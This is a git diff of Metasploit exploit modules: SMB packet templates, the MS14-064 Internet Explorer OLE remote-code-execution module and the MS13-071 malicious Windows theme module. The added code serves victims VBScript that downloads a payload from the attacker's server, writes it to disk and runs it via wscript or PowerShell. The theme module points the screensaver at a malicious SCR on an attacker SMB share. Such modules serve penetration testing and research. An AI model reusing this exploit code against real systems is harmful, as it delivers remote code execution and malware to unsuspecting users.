-SMB_TRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'ParamCountMax', 0 ], - [ 'uint16v', 'DataCountMax', 0 ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint32v', 'Timeout', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS_PKT = self.make_nbs(SMB_TRANS_HDR_PKT) - - -# A SMB template for SMB Transaction responses -SMB_TRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'ParamDisplace', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint16v', 'DataDisplace', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved2', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS_RES_PKT = self.make_nbs(SMB_TRANS_RES_HDR_PKT) - -# A SMB template for SMB Transaction2 requests -SMB_TRANS2_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'ParamCountMax', 0 ], - [ 'uint16v', 'DataCountMax', 0 ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint32v', 'Timeout', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS2_PKT = self.make_nbs(SMB_TRANS2_HDR_PKT) - - -# A SMB template for SMB NTTransaction requests -SMB_NTTRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCountMax', 0 ], - [ 'uint32v', 'DataCountMax', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint16v', 'Subcommand', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_PKT = self.make_nbs(SMB_NTTRANS_HDR_PKT) - - -# A SMB template for SMB NTTransaction responses -SMB_NTTRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'ParamDisplace', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint32v', 'DataDisplace', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_RES_PKT = self.make_nbs(SMB_NTTRANS_RES_HDR_PKT) - -# A SMB template for SMB NTTransaction_Secondary requests -SMB_NTTRANS_SECONDARY_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'ParamDisplace', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint32v', 'DataDisplace', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_SECONDARY_PKT = self.make_nbs(SMB_NTTRANS_SECONDARY_HDR_PKT) - -# A SMB template for SMB Create requests -SMB_CREATE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint8', 'Reserved2', 0 ], - [ 'uint16v', 'FileNameLen', 0 ], - [ 'uint32v', 'CreateFlags', 0 ], - [ 'uint32v', 'RootFileID', 0 ], - [ 'uint32v', 'AccessMask', 0 ], - [ 'uint32v', 'AllocLow', 0 ], - [ 'uint32v', 'AllocHigh', 0 ], - [ 'uint32v', 'Attributes', 0 ], - [ 'uint32v', 'ShareAccess', 0 ], - [ 'uint32v', 'Disposition', 0 ], - [ 'uint32v', 'CreateOptions', 0 ], - [ 'uint32v', 'Impersonation', 0 ], - [ 'uint8', 'SecurityFlags', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CREATE_PKT = self.make_nbs(SMB_CREATE_HDR_PKT) - - -# A SMB template for SMB Create responses -SMB_CREATE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint8', 'OpLock', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Action', 0 ], - [ 'uint32v', 'CreateTimeLow', 0 ], - [ 'uint32v', 'CreateTimeHigh', 0 ], - [ 'uint32v', 'AccessTimeLow', 0 ], - [ 'uint32v', 'AccessTimeHigh', 0 ], - [ 'uint32v', 'WriteTimeLow', 0 ], - [ 'uint32v', 'WriteTimeHigh', 0 ], - [ 'uint32v', 'ChangeTimeLow', 0 ], - [ 'uint32v', 'ChangeTimeHigh', 0 ], - [ 'uint32v', 'Attributes', 0 ], - [ 'uint32v', 'AllocLow', 0 ], - [ 'uint32v', 'AllocHigh', 0 ], - [ 'uint32v', 'EOFLow', 0 ], - [ 'uint32v', 'EOFHigh', 0 ], - [ 'uint16v', 'FileType', 0 ], - [ 'uint16v', 'IPCState', 0 ], - [ 'uint8', 'IsDirectory', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CREATE_RES_PKT = self.make_nbs(SMB_CREATE_RES_HDR_PKT) - - -# A SMB template for SMB Write requests -SMB_WRITE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Offset', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'WriteMode', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'DataLenHigh', 0 ], - [ 'uint16v', 'DataLenLow', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint32v', 'DataOffsetHigh', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_WRITE_PKT = self.make_nbs(SMB_WRITE_HDR_PKT) - - -# A SMB template for SMB Write responses -SMB_WRITE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'CountLow', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'CountHigh', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_WRITE_RES_PKT = self.make_nbs(SMB_WRITE_RES_HDR_PKT) - - -# A SMB template for SMB OPEN requests -SMB_OPEN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint16v', 'Access', 0 ], - [ 'uint16v', 'SearchAttributes', 0 ], - [ 'uint16v', 'FileAttributes', 0 ], - [ 'uint32v', 'CreateTime', 0 ], - [ 'uint16v', 'OpenFunction', 0 ], - [ 'uint32v', 'AllocSize', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Reserved3', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_OPEN_PKT = self.make_nbs(SMB_OPEN_HDR_PKT) - - -# A SMB template for SMB OPEN responses -SMB_OPEN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint16v', 'FileAttributes', 0 ], - [ 'uint32v', 'WriteTime', 0 ], - [ 'uint32v', 'FileSize', 0 ], - [ 'uint16v', 'FileAccess', 0 ], - [ 'uint16v', 'FileType', 0 ], - [ 'uint16v', 'IPCState', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint32v', 'ServerFileID', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_OPEN_RES_PKT = self.make_nbs(SMB_OPEN_RES_HDR_PKT) - - -# A SMB template for SMB Close requests -SMB_CLOSE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'LastWrite', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CLOSE_PKT = self.make_nbs(SMB_CLOSE_HDR_PKT) - - -# A SMB template for SMB Close responses -SMB_CLOSE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CLOSE_RES_PKT = self.make_nbs(SMB_CLOSE_RES_HDR_PKT) - - -# A SMB template for SMB Delete requests -SMB_DELETE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'SearchAttribute', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'uint8', 'BufferFormat', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_DELETE_PKT = self.make_nbs(SMB_DELETE_HDR_PKT) - - -# A SMB template for SMB Delete responses -SMB_DELETE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_DELETE_RES_PKT = self.make_nbs(SMB_DELETE_RES_HDR_PKT) - - - -# A SMB template for SMB Read requests -SMB_READ_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Offset', 0 ], - [ 'uint16v', 'MaxCountLow', 0 ], - [ 'uint16v', 'MinCount', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint32v', 'MaxCountHigh', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_READ_PKT = self.make_nbs(SMB_READ_HDR_PKT) - - -# A SMB template for SMB Read responses -SMB_READ_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'DataCompaction', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'DataLenLow', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint32v', 'DataLenHigh', 0 ], - [ 'uint32v', 'Reserved3', 0 ], - [ 'uint16v', 'Reserved4', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_READ_RES_PKT = self.make_nbs(SMB_READ_RES_HDR_PKT) - - - -# A SMB template for SMB Search requests -SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'MaxCount', 0 ], - [ 'uint16v', 'Attributes', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT) - end end diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index ad23315340..27aa2cee46 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -11,17 +11,19 @@ class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::EXE include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, - 'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", + 'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", 'Description' => %q{ This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. - The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10. - For this module to be successful, powershell is required on the target machine. On - Internet Explorer versions using Protected Mode, the user has to manually allow - powershell.exe to execute in order to be compromised. + The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to + Windows 10, and there is no patch for Windows XP or older. + + Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other + newer Windows systems, the exploit will try using Powershell instead. }, 'License' => MSF_LICENSE, 'Author' => @@ -32,6 +34,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Wesley Neelen', # security[at]forsec.nl 'GradiusX ', 'b33f', # @FuzzySec + 'sinn3r' ], 'References' => [ @@ -46,14 +49,24 @@ class Metasploit4 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ + 'Windows XP', + { + 'os_name' => OperatingSystems::Match::WINDOWS_XP + } + ], + [ + 'Other Windows x86', + { + 'os_name' => OperatingSystems::Match::WINDOWS, + } + ] ], 'BrowserRequirements' => { :source => /script|headers/i, :ua_name => HttpClients::IE, - :os_name => /win/i, - :arch => 'x86', + :arch => ARCH_X86, :ua_ver => lambda { |ver| ver.to_i.between?(4, 10) } }, 'DefaultOptions' => @@ -260,20 +273,18 @@ end function end - def get_html() + def vbs_vector(prep) + vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs" + gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif" - if datastore['TRYUAC'] - tryuac = 'runas' - else - tryuac = 'open' - end + payload_src = (datastore['SSL'] ? 'https' : 'http') + payload_src << '://' + payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']) + payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}" - payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) - payl.slice! "powershell.exe " - prep = vbs_prepare() - - html = %Q| - + # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue + # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess. + %Q| @@ -282,8 +293,19 @@ end function function runaaaa() On Error Resume Next +set xmlhttp = CreateObject("Microsoft.XMLHTTP") +xmlhttp.open "GET", "#{payload_src}", False +xmlhttp.send + +Set objFSO=CreateObject("Scripting.FileSystemObject") +folder = objFSO.GetSpecialFolder(2) +scriptName = folder + "\\#{vbs_name}" +Set objFile = objFSO.CreateTextFile(scriptName,True) +objFile.Write xmlhttp.responseText +objFile.Close + set shell=createobject("Shell.Application") -shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0 +shell.ShellExecute "wscript.exe", scriptName, "", "open", 0 end function @@ -293,12 +315,71 @@ end function | + end + def powershell_vector(prep) + if datastore['TRYUAC'] + tryuac = 'runas' + else + tryuac = 'open' + end + + # Powershell was the first technique demonstrated publicly. + # On some Windows setups such as Windows 7 without a service pack, this works quite well. + # But other Windows setups you will get a prompt. + payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) + payl.slice! "powershell.exe " + + %Q| + + + + + + + + + | + end + + def get_html + prep = vbs_prepare() + case get_target.name + when OperatingSystems::Match::WINDOWS_XP + return vbs_vector(prep) + else + return powershell_vector(prep) + end end def on_request_exploit(cli, request, target_info) - print_status("Requesting: #{request.uri}") - send_exploit_html(cli, get_html()) + case request.uri + when /\.gif/ + if get_target.name =~ OperatingSystems::Match::WINDOWS_XP + p = regenerate_payload(cli) + data = generate_payload_exe({:code => p.encoded}) + + # The default template uses \n, and wscript.exe isn't very happy about that. + # It should be \r\n . + vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n") + + send_response(cli, vbs) + else + # The VBS technique is only for Windows XP. So if a non-XP system is requesting it, + # something is not right. + send_not_found(cli) + end + else + send_exploit_html(cli, get_html) + end end end diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index 88cc325763..e47f5de030 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE - include Msf::Exploit::Remote::SMB::Server + include Msf::Exploit::Remote::SMB::Server::Share def initialize(info={}) super(update_info(info, @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Eduardo Prado', # Vulnerability discovery - 'juan vazquez' # Metasploit module + 'juan vazquez', # Metasploit module + 'Matthew Hall ' # Metasploit module refactored to use Msf::Exploit::Remote::SMB::Server::Share ], 'References' => [ @@ -60,27 +61,18 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']), - OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ]) + OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr']) ], self.class) + + deregister_options('FILE_CONTENTS') end - def exploit + def primer + self.file_contents = generate_payload_exe + print_status("Malicious SCR available on #{unc}...") - if (datastore['UNCPATH']) - @unc = datastore['UNCPATH'] - print_status("Remember to share the malicious EXE payload as #{@unc}") - else - print_status("Generating our malicious executable...") - @exe = generate_payload_exe - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] - @share = rand_text_alpha(5 + rand(5)) - @scr_file = "#{rand_text_alpha(5 + rand(5))}.scr" - @hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i) - @unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}" - end - - print_status("Creating '#{datastore['FILENAME']}' file ...") # Default Windows XP / 2003 theme modified + print_status("Creating '#{datastore['FILENAME']}' file ...") theme = <<-EOF ; Copyright (c) Microsoft Corp. 1995-2001 @@ -112,322 +104,12 @@ Pattern= ScreenSaveActive=0 [boot] -SCRNSAVE.EXE=#{@unc} +SCRNSAVE.EXE=#{unc} [MasterThemeSelector] MTSM=DABJDKT EOF file_create(theme) - print_good("Let your victim open #{datastore['FILENAME']}") - - if not datastore['UNCPATH'] - print_status("Ready to deliver your payload on #{@unc}") - super - end - - end - - # TODO: these smb_* methods should be moved up to the SMBServer mixin - # development and test on progress - - def smb_cmd_dispatch(cmd, c, buff) - smb = @state[c] - vprint_status("Received command #{cmd} from #{smb[:name]}") - - pkt = CONST::SMB_BASE_PKT.make_struct - pkt.from_s(buff) - #Record the IDs - smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] - smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] - smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] - smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] - - case cmd - when CONST::SMB_COM_NEGOTIATE - smb_cmd_negotiate(c, buff) - when CONST::SMB_COM_SESSION_SETUP_ANDX - wordcount = pkt['Payload']['SMB'].v['WordCount'] - if wordcount == 0x0D # It's the case for Share Security Mode sessions - smb_cmd_session_setup(c, buff) - else - vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") - smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) - end - when CONST::SMB_COM_TRANSACTION2 - smb_cmd_trans(c, buff) - when CONST::SMB_COM_NT_CREATE_ANDX - smb_cmd_create(c, buff) - when CONST::SMB_COM_READ_ANDX - smb_cmd_read(c, buff) - else - vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})") - smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) - end - end - - - def smb_cmd_negotiate(c, buff) - pkt = CONST::SMB_NEG_PKT.make_struct - pkt.from_s(buff) - - dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) - - dialect = dialects.index("NT LM 0.12") || dialects.length-1 - - pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct - smb_set_defaults(c, pkt) - - time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 17 - pkt['Payload'].v['Dialect'] = dialect - pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode - pkt['Payload'].v['MaxMPX'] = 50 - pkt['Payload'].v['MaxVCS'] = 1 - pkt['Payload'].v['MaxBuff'] = 4356 - pkt['Payload'].v['MaxRaw'] = 65536 - pkt['Payload'].v['SystemTimeLow'] = time_lo - pkt['Payload'].v['SystemTimeHigh'] = time_hi - pkt['Payload'].v['ServerTimeZone'] = 0x0 - pkt['Payload'].v['SessionKey'] = 0 - pkt['Payload'].v['Capabilities'] = 0x80f3fd - pkt['Payload'].v['KeyLength'] = 8 - pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8) - - c.put(pkt.to_s) - end - - def smb_cmd_session_setup(c, buff) - - pkt = CONST::SMB_SETUP_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 3 - pkt['Payload'].v['AndX'] = 0x75 - pkt['Payload'].v['Reserved1'] = 00 - pkt['Payload'].v['AndXOffset'] = 96 - pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest - pkt['Payload'].v['Payload'] = - Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature - Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature - Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature - tree_connect_response = "" - tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount - tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand - tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved - tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset - tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support - tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount - tree_connect_response << "A:\x00" # Service - tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters - # Fix the Netbios Session Service Message Length - # to have into account the tree_connect_response, - # need to do this because there isn't support for - # AndX still - my_pkt = pkt.to_s + tree_connect_response - original_length = my_pkt[2, 2].unpack("n").first - original_length = original_length + tree_connect_response.length - my_pkt[2, 2] = [original_length].pack("n") - c.put(my_pkt) - end - - def smb_cmd_create(c, buff) - pkt = CONST::SMB_CREATE_PKT.make_struct - pkt.from_s(buff) - - if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/ - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - pkt['Payload']['SMB'].v['WordCount'] = 42 - pkt['Payload'].v['AndX'] = 0xff # no further commands - pkt['Payload'].v['OpLock'] = 0x2 - # No need to track fid here, we're just offering one file - pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0 - pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened - pkt['Payload'].v['CreateTimeLow'] = @lo - pkt['Payload'].v['CreateTimeHigh'] = @hi - pkt['Payload'].v['AccessTimeLow'] = @lo - pkt['Payload'].v['AccessTimeHigh'] = @hi - pkt['Payload'].v['WriteTimeLow'] = @lo - pkt['Payload'].v['WriteTimeHigh'] = @hi - pkt['Payload'].v['ChangeTimeLow'] = @lo - pkt['Payload'].v['ChangeTimeHigh'] = @hi - pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file - pkt['Payload'].v['AllocLow'] = 0x100000 - pkt['Payload'].v['AllocHigh'] = 0 - pkt['Payload'].v['EOFLow'] = @exe.length - pkt['Payload'].v['EOFHigh'] = 0 - pkt['Payload'].v['FileType'] = 0 - pkt['Payload'].v['IPCState'] = 0x7 - 